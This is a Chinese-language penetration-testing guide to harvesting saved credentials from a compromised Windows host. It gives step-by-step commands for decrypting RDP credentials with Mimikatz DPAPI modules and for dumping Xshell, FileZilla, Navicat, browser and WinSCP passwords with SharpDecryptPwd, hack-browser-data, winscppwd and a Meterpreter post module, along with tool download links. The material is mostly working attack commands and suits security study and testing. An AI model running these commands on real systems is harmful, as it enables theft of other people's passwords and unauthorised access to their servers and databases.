为了扩大可访问的范围,测试人员会尝试搜搜各种常见的密码存储位置,像很多的软件就会存储密码。
1.获取RDP保存的凭证
经常使用RDP远程桌面连接远程服务器的用户可能勾选了保存连接凭证的选项,以便快速的身份验证。这些凭证使用数据保护API以加密形式存储在Windows的凭证管理器中,在%USERPROFILE%\AppData\Local\Microsoft\Credentials
目录
cmdkey /list #查看当前保存的凭据
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\* #遍历Credentials目录下保存的历史连接凭据数据
Mimikatz导出Credentials目录下保存的历史连接凭据(加密的RDP凭据):
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit #使用mimikatz解析指定的连接凭据
得到pdData就是凭据的加密数据,guidMasterkey是该凭据的GUID,记录guidMasterkey。执行以下命令:
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit #找到与guidMasterKey(GUID)相关联的MasterKey
记录MasterKey,执行以下命令:
mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D/masterkey:c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733" exit
使用MasterKey值破解指定的凭据文件DFBE70A7E5CC19A398EBF1B96859CE5D,获得RDP明文凭据。
2.获取Xahell保存的凭证
Xshell会将服务器连接信息保存在Session目录下的.xsh文件中, 如果用户在连接的时候勾选了记住用户名/密码, 该文件会保存远程服务器连接的用户名和结果加密后的密码
Xshell版本 .xsh文件路径
Xshell5 %USERPROFILE%\Documents\NetSarang\Xshell\Sessions
Xshell6 %USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions
Xshell7 %USERPROFILE%\Documents\NetSarang Computers\7\Xshell\Sessions
获取Xshell保存的凭据:
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang\Xshell\Sessions" #获取Xshell5的账密
SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions" #获取Xshell6的账密
Xshell5和6可以通过工具SharpDecryptPwd解密, 除此之外该工具还可以解密Navicate、TeamViewer、FileZilla、WinSCP、Xmangager系列产品。Xshell7后的版本通过上面命令获得的密码为一串乱码,只能使用星号密码查看器直接查看密码。
3.获取FileZilla保存的凭证
FileZilla用于FTP连接, 它会将FTP登录凭据以base64密文的格式保存在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml
文件中, 可以使用SharpDecryptPwd直接一键导出FileZilla保存的凭据。
<\User>节点记录了FTP登录用户,<\Pass>节点记录Base64编码的用户密码。
SharpDecryptPwd
--https://github.com/uknowsec/SharpDecryptPwd
SharpDecryptPwd.exe -FileZilla
4.获取Navicat保存的凭证
数据库类型 凭据存储路径(注册表)
Mysql HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Server\< Connetion Name>
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\< Connetion Name>
MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\< Connetion Name>
SQL SERVER HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\< Connetion Name>
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\< Connetion Name>
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\< Connetion Name>
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\< Connetion Name>
Navicat的注册表中记录了保存密码的连接数据, 包括IP,用户名,密码,连接数据库名,数据库类型等, 其中密码字段是结果可你算法加密后再保存的, 其中Navicat<=11版本和Navicat>=12版本分别使用不同的加密算法。
SharpDecryptPwd.exe -NavicatCrypto
5.获取浏览器保存的凭证
hack-browser-data.exe
会将相关的数据导出到当前目录下的./result目录下
6.获取WinSCP保留的登录凭据
WinSCP默认安装在C:\Program Files (x86)\WinSCP
,其用户凭证可以保存在注册表或者配置文件中。
配置文件则在C:\Program Files (x86)\WinSCP\WinSCP.ini
或
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini
解密工具或脚本:
https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe
https://raw.githubusercontent.com/anoopengineer/winscppasswd/master/main.go
https://raw.githubusercontent.com/YuriMB/WinSCP-Password-Recovery/master/src/main/java/Main.java
注册表查询命令
查询注册表中winscp保存的密文
shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions"shell reg query "HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\root@192.168.80.164"
使用winscppwd.exe进行解密
winscppwd.exe root 192.168.80.164 A35C4A54D144F65B7DF0E8F42E3333286D656E726D6A6472646C726D6A682833332EFA7A248229B891A201911C3F588380D6
Winscppwd.exe WinSCP.ini
msf模块
meterpreter > run post/windows/gather/credentials/winscp